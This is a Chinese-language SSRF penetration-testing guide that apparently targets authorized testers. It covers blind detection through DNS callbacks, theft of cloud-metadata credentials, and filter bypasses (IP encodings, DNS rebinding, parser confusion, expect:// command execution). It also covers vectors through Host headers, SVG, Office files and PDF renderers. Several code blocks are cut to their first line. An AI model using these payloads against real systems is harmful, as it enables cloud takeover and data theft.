SSRF(Server-Side Request Forgery)的本质,是服务端代替攻击者发起了一个攻击者本来访问不到的请求。它的危害来自两道边界:网络边界让公网攻击者够不到内网,信任边界让云元数据、本地管理端口、未授权内网服务默认只对「自己人」开放。SSRF 一次性打破这两道边界,所以即使没有回显,也能成为高危。
评估一个 SSRF,不要只看「能不能读到响应」,而要看这台机器背后还连着什么——一个 url= 参数背后,可能是云实例的临时密钥,是未授权的 Docker API,是暴露的 Actuator。本文只讨论授权环境下的验证思路,沿着确认、绕过、利用三条线展开,重点是实战中真正决定成败、却容易被漏掉的角度。
一、SSRF 的价值与攻击面
SSRF 的常见入口,是任何「服务端根据用户输入去访问一个地址」的参数,比如 url=、link=、src=、dest=、redirect=、callback=、uri=、file=、resource=、endpoint=、imageUrl=。但真正高价值的,往往是这些参数之外的非典型点,开发者通常想不到在这里做过滤:
| 场景 | 触发方式 |
|---|---|
| HTML 转 PDF / 截图 | 用户提交的 HTML 中的 <img> <iframe> <link> |
| 链接预览 / OpenGraph | IM、邮件、协作工具抓取 og:image og:url 渲染卡片 |
| 图片处理 | ImageMagick / Imagick / Sharp 处理远程图片、SVG、MVG |
| Office 文档预览 | DOCX/XLSX/PPTX 的 OOXML 外部关系,经 Apache POI 等解析 |
| Webhook 配置 | 平台保存后主动 POST 到目标 URL |
| 监控 / 健康检查 | Uptime-Kuma、Grafana、Prometheus、状态页探活 |
| JDBC / 数据源配置 | 可控的 JDBC 连接串,连向恶意数据库服务端 |
| JNDI / LDAP | 可控的 lookup() 入参,指向内网或攻击者 LDAP/RMI |
| RSS/Atom 订阅、CSV 导入 | 拉取远程内容 |
| OAuth 回调 / SAML | 部分实现会服务端先 fetch 一次 |
| 头部注入 | X-Forwarded-Host X-Real-IP 在代理链里,甚至 Host 头 |
| XML 解析 | DOCTYPE 外部实体(XXE 本质也是一种 SSRF) |
| 模板注入(SSTI) | 模板里 urllib.urlopen(...)、http.get(...) |
| GraphQL | @link 联邦指令 |
判断一个点是否值得测,看一个特征:是「后台去取」还是「前端跳转」。前端跳转只是客户端 302,后台去取才会把请求发到服务端,从而有机会触达内网和元数据。越是后台去取的逻辑,越值得测。
二、确认漏洞与盲 SSRF 数据外带
确认 SSRF 往往比利用更难,因为很多 SSRF 是盲的,响应里看不到结果。可靠的做法是带外回连,其次是基于时间和错误的间接推断。
带外回连(OAST / DNSLog)
提交一个由你控制的域名,观察是否有 DNS 查询或 HTTP 请求从目标服务器发出:
1 | http://xxxx.dnslog.cn/ |
区分三种情况。有 HTTP 回连,是全 SSRF,能看响应;只有 DNS 回连、没有 HTTP,同样是铁证,说明应用在 fetch 前先解析了域名或做了 URL 预校验,利用链要重新设计,但漏洞成立;完全无回连不代表没有 SSRF,可能是出网受限,这时换时间盲注。常见工具有 dnslog.cn、ceye.io、Burp Collaborator、interactsh,也可自建 dnsmasq 加 web。回连记录里建议核对 DNS 来源 IP 是不是目标出口 IP,能顺带确认是哪台机器发出的请求。
时间盲注与错误差异
目标完全不出网时,靠端口开关导致的响应时间差异判断。开放端口通常很快返回或快速 RST,关闭端口则超时或长时间挂起。对比同一主机不同端口的耗时,例如 http://192.168.1.1:22/ 与 http://192.168.1.1:9999/,能间接测绘内网拓扑。
错误形态本身就是信息:host not found 说明解析失败,connection refused 说明端口关闭,timeout 说明端口开放但被防火墙拦截或服务不响应。把这三种边界画出来,就得到一张内网地图。
盲 SSRF 的数据外带
确认只是第一步,真正难的是把内网响应带出来。三条思路:一是把数据编码进 DNS 子域名,DNS 几乎是所有环境都放行的出站通道;二是用响应大小或状态码差异逐字节推断,对内网接口做二分式请求;三是利用错误信息,部分实现会把上游响应体或响应头拼进异常消息直接返回。盲 SSRF 不是死路,关键在于找一个应用愿意替你回传的侧信道。
三、云元数据:最直接的产出
云厂商的元数据服务监听在 169.254.169.254(link-local),无需认证,且只在实例内部可达——正好是 SSRF 的最佳射程。拿到元数据里的临时密钥,往往就能直接接管云资源,这是 SSRF 最直接的高危产出。
AWS EC2
IMDSv1 完全不需要任何 header,是最高优先级测试目标:
1 | http://169.254.169.254/latest/meta-data/ |
第三条返回临时 AccessKey / SecretKey / Token,拿到后可直接用 aws cli 操作云资产。IMDSv2 加了一层 PUT 取 token 的保护,但 2024-2025 的研究证明它有多条绕过路径,不要因为目标是 IMDSv2 就放弃:
1 | PUT http://169.254.169.254/latest/api/token |
| 绕过手法 | 原理 |
|---|---|
| 自定义头注入 | SSRF 点(代理、webhook)若允许控制请求头,直接带上 X-aws-ec2-metadata-token;GHSA-8gq9-rw7v-3jpr 展示了从 EKS node role 偷临时凭据的真实链 |
| 罕见 HTTP 方法滥用 | IMDSv2 设计依赖 PUT→GET 流程,某些冷门 method 可绕过这一约束 |
| Hop Limit 配置错误 | HttpPutResponseHopLimit 过高时,容器内 SSRF 仍可触达宿主元数据 |
| 反向代理链 | 开放的代理把请求连同头一起转发,token 保持有效 |
| 303 重定向 | 应用跟随重定向时往往只校验首跳,跳板到元数据 |
AWS ECS 容器另有端点 http://169.254.170.2/v2/credentials。测云元数据前,先确认是否 IMDSv2、Hop Limit 几跳、SSRF 点能否带自定义头,三者任一宽松,IMDSv2 即可破。
GCP、Azure 与国内云
GCP 需要 Metadata-Flavor: Google 头,?recursive=true 一次拉全部元数据,旧端点 v1beta1 历史上可能不校验 header:
1 | http://metadata.google.internal/computeMetadata/v1/?recursive=true |
Azure 需要 Metadata: true 头,身份端点返回管理平面的 OAuth2 token,其 header 校验同样存在实现疏漏:
1 | http://169.254.169.254/metadata/instance?api-version=2021-02-01 |
阿里云用 100.100.100.200,经常被漏掉,因为很多过滤规则只写死了 169.254.169.254:
1 | http://100.100.100.200/latest/meta-data/ |
腾讯云 CVM 地址同为 169.254.169.254,路径前缀也是 /latest/meta-data/,但临时密钥走 CAM 目录,返回 TmpSecretId / TmpSecretKey / Token,绑定 CAM 角色即可用 tccli 接管:
1 | http://169.254.169.254/latest/meta-data/cam/security-credentials/<角色名> |
各家云临时密钥目录名不同:AWS 是 iam、阿里云是 ram、腾讯云是 cam,记不全时三个都试一遍。
其他云与 Kubernetes
除了三大云和国内云,DigitalOcean、Oracle Cloud、OpenStack 的元数据端点经常不在过滤名单里:
1 | http://169.254.169.254/metadata/v1.json # DigitalOcean |
Kubernetes 的 ServiceAccount token 是文件,需要 file:// 协议或路径穿越配合:
1 | file:///var/run/secrets/kubernetes.io/serviceaccount/token |
当 IPv4 元数据地址被过滤拦住时,IPv6 变体经常能绕过只针对 IPv4 的规则:
1 | http://[::ffff:169.254.169.254]/latest/meta-data/ |
四、协议利用与过滤绕过
开发者一旦做了过滤,绕过思路就决定成败。核心心法:过滤常常只挡了明文 169.254.169.254 和 127.0.0.1 这两个字符串,其余全是盲区。绕过可以从协议、IP 形态、域名解析、URL 解析差异、重定向几个维度展开。
协议:不止 HTTP
很多 HTTP 库支持多种 scheme,开发者常只过滤 http/https 却忘了底层支持别的协议。file:// 读本地文件,/proc/self/environ 常含密钥,/proc/net/arp 能测绘内网:
1 | file:///etc/passwd |
dict://、sftp/ldap/ftp/tftp 在盲 SSRF 场景下尤其有用,即使没有响应,触发一次出站连接就能证明漏洞并收集指纹。
不同语言还有自己的协议扩展,是 SSRF 的隐藏能力面。PHP 在 allow_url_fopen / allow_url_include 开启时,php://filter 能把任意 URL 响应转码后读出,常用来读源码或绕过显示限制:
1 | php://filter/convert.base64-encode/resource=http://internal/api/secret |
expect:// 在 PHP 编译了 expect 扩展时可直接执行系统命令,phar:// 可触发反序列化,data:// 能直接嵌入内容;Java 的 jar:// 会把远程 jar 下载并解压到临时目录(配合竞态可写文件),netdoc:// 在旧版本里能替代 file:// 绕过沙箱对本地文件协议的限制:
1 | expect://id # PHP 命令执行(需 expect 扩展) |
这些协议是否可用取决于运行时和编译选项,测之前先判断语言栈;但一旦命中,危害往往从「读文件」直接跳到「命令执行」,是 SSRF 向 RCE 升级的非 Gopher 路径。
IP 进制变形与 localhost 等价物
进制变形最常用也最有效。很多过滤用正则匹配点分十进制,对进制变形完全失效:
1 | 127.0.0.1 原始 |
除了进制,还有一类「等价于 localhost 却不长得像 127.0.0.1」的形态,是绕黑名单的利器:
1 | 0.0.0.0 多数系统上 connect 解析为本机,绕 127.0.0.1 黑名单 |
0.0.0.0 要单独记住:它在浏览器和服务端都可能解析为 localhost,Oligo 安全的「0.0.0.0 Day」研究专门讲了这个点,是当前最常被忽略的回环等价地址。
DNS 解析与重绑定
让一个域名解析到内网 IP,能绕过「禁止直连内网 IP」的检查,nip.io 这类泛解析服务开箱即用:
1 | http://169.254.169.254.nip.io/ |
如果过滤逻辑是「先解析域名、检查解析结果、再发请求」,就要用 DNS Rebinding,利用两次解析之间的时间差(TOCTOU):
1 | 第1步 解析 attacker.com → 1.2.3.4(合法公网 IP)→ 校验通过 |
DNS Rebinding 的实战数据值得了解:有赏金猎人记录用它偷 AWS 元数据,约 1/30 的请求才成功,靠并发加重试堆概率,不是失败就放弃;LarkSuite、Mindsdb 的 SSRF 都是被它绕过的;近期的 CVE-2025-69660(simstudioai/sim)、CVE-2026-43582(OpenClaw)也是经 rebinding 绕过 hostname 校验。工具上 rbndr.us 可零配置交替返回两个 IP,singularity(nccgroup)是完整框架,也可自建权威 DNS 配 TTL=0。一个判定信号:官方修复基本都是 DNS pinning(只解析一次复用 IP),所以遇到「每次请求都重新解析域名」的实现,几乎必然可重绑定。
URL 解析器混淆
这是 Orange Tsai 在 Black Hat US 2017《A New Era of SSRF》提出的攻击面,至今仍是绕过白名单的主力。核心矛盾是校验层和请求层用的解析库不一致,对「谁是 host」理解不同:
1 | http://evil.com#@good.com/ # fragment vs authority |
这种不一致在不同语言栈表现不同:Java 的 java.net.URL、Python 的 urllib/urlparse、Go 的 net/url、Node 的 url.parse(旧)与 URL(WHATWG)对 authority 与 path 的切分规则都有差异。一个通用技巧是用同一个 payload 跑两次——一次让校验函数解释,一次让真正发请求的库解释,若两者取到的 host 不一致,就存在可绕过的窗口。结合子域接管还能做白名单跳板:拿下一个被白名单允许的废弃子域,用它做中转。
重定向与 CRLF 改写请求
服务端跟随 302/303 时,校验往往只查第一跳。攻击者让一个外网白名单地址 302 跳到元数据或内网,白名单通过后服务端跟随跳转,实际访问的就是受限目标。更隐蔽的是跨协议重定向:少数库在配置不严时会从 http:// 跟随 302 跳到 file:// 或 dict://,等于把一个普通 HTTP 白名单升级成任意协议。
如果 SSRF 点把用户输入拼进了 HTTP 请求行或请求头,还可以用 CRLF 注入(%0d%0a)直接改写请求:插入新的 Host: 头把对外请求导向内网,或塞入第二个请求形成轻量的 HTTP smuggling。常见 SSRF 防护库(各语言的 safeurl 实现)也并非铁板一块,它们对重定向是否重新校验、对进制和 IPv6 的覆盖、对协议白名单的实现各有盲区,遇到时值得针对其具体规则反推。
五、非典型入口:Host 头、Webhook、渲染引擎与文档处理
除了 URL 参数,还有几类入口几乎没人在测,是当前赏金的冷门高价值区。
Host 头 SSRF
HTTP Host 头本身也能触发 SSRF。Aikido 的 AI 渗透代理就在 Astro 的 SSR 实现里通过 Host 头注入打到 full-read SSRF。测试点包括直接改 Host: 169.254.169.254,或当服务端拿 Host 拼接内部请求 URL(SSR 框架、缓存预热、健康检查)时触发,配合 X-Forwarded-Host、X-Real-IP 在代理链里投毒。
Webhook 自定义头 CRLF
GitLab 曾出过 webhook 自定义头里 CRLF 注入导致 SSRF(issue 550766)。webhook 允许设置自定义请求头,头值含 \r\n 就能拆出第二个请求或改写目标。普适启示是:任何「可配置请求头或请求体」的 webhook、监控、健康检查功能,都要测 CRLF 注入,它能把一个合法外部回调变成打内网的 SSRF。
图片与 SVG 处理
凡是接受图片上传、缩略图、格式转换的服务,都是 SSRF 富矿,因为处理库默认能拉取远程资源。ImageMagick 在解析 SVG、MVG 时会发起 HTTP 请求,url()、<image xlink:href>、<read> 都能指向内网或元数据;ImageTragick(CVE-2016-3714)一类的历史问题甚至能从图片处理升级到 RCE;Apache Batik 作为另一款 SVG 库,历史上也存在 SSRF 和通过远程类加载触发的 RCE。最朴素的 SVG 载荷只需要几行:
1 |
|
测这类点时,记得把 SVG 的 Content-Type 伪装成 image/png 上传,很多后端只看扩展名和魔数不看内容。
Office 文档预览与链接预览
Office 文档(DOCX/XLSX/PPTX)本质是 ZIP 打包的 OOXML,里面的 .rels 可以声明 TargetMode="External" 的外部关系。当平台提供「在线预览」「转 PDF」「提取图片」功能时,Apache POI 等库会去解析这些关系,可能触发对外/对内请求或 XXE。构造一个带外链的 .docx,就能借预览功能让服务端替你访问元数据。
链接预览是另一类高频入口。Slack、Discord、Telegram、邮件客户端、协作工具在展示链接卡片时会服务端抓取目标页面的 og:image、og:url、<link rel="icon">。由于抓取逻辑通常跟随重定向且对内网不做限制,给预览器喂一个返回元数据 URL 的页面,就能读到云凭据;又因为预览器往往会再次抓取 og:image 指向的图片,形成「二级 SSRF」,比直接参数更难被过滤。
PDF 与截图渲染引擎
把用户 HTML 渲染成 PDF 或截图的功能(wkhtmltopdf、headless Chrome、Puppeteer、PhantomJS)默认跟随重定向、默认能访问内网:
1 | <iframe src="http://169.254.169.254/latest/meta-data/iam/security-credentials/"></iframe> |
如果开了 --no-sandbox,还可能配合浏览器漏洞进一步利用;若暴露了 Chrome 远程调试端口 9222,可直接 http://127.0.0.1:9222/json 列出调试目标,经 WebSocket 控制浏览器 tab,读 cookie、任意导航、执行 JS。
SSRF 的精髓在于多角度:确认靠 OAST 与盲 SSRF 侧信道(DNS 外带、响应大小、错误回显);协议从 HTTP 一路扩到 file/dict,再到 PHP 的 expect/php/phar、Java 的 jar/netdoc 这些能读文件甚至执行命令的扩展;绕过靠 IP 等价物(0.0.0.0、进制、IPv6)、URL 解析差异、重定向、DNS 重绑定、CRLF 改写组成的矩阵;入口则藏在 Host 头、webhook 自定义头、SVG 与图片处理、Office 预览、链接预览这些开发者想不到的地方。把这四条线系统走完,比打一遍 payload 列表有效得多。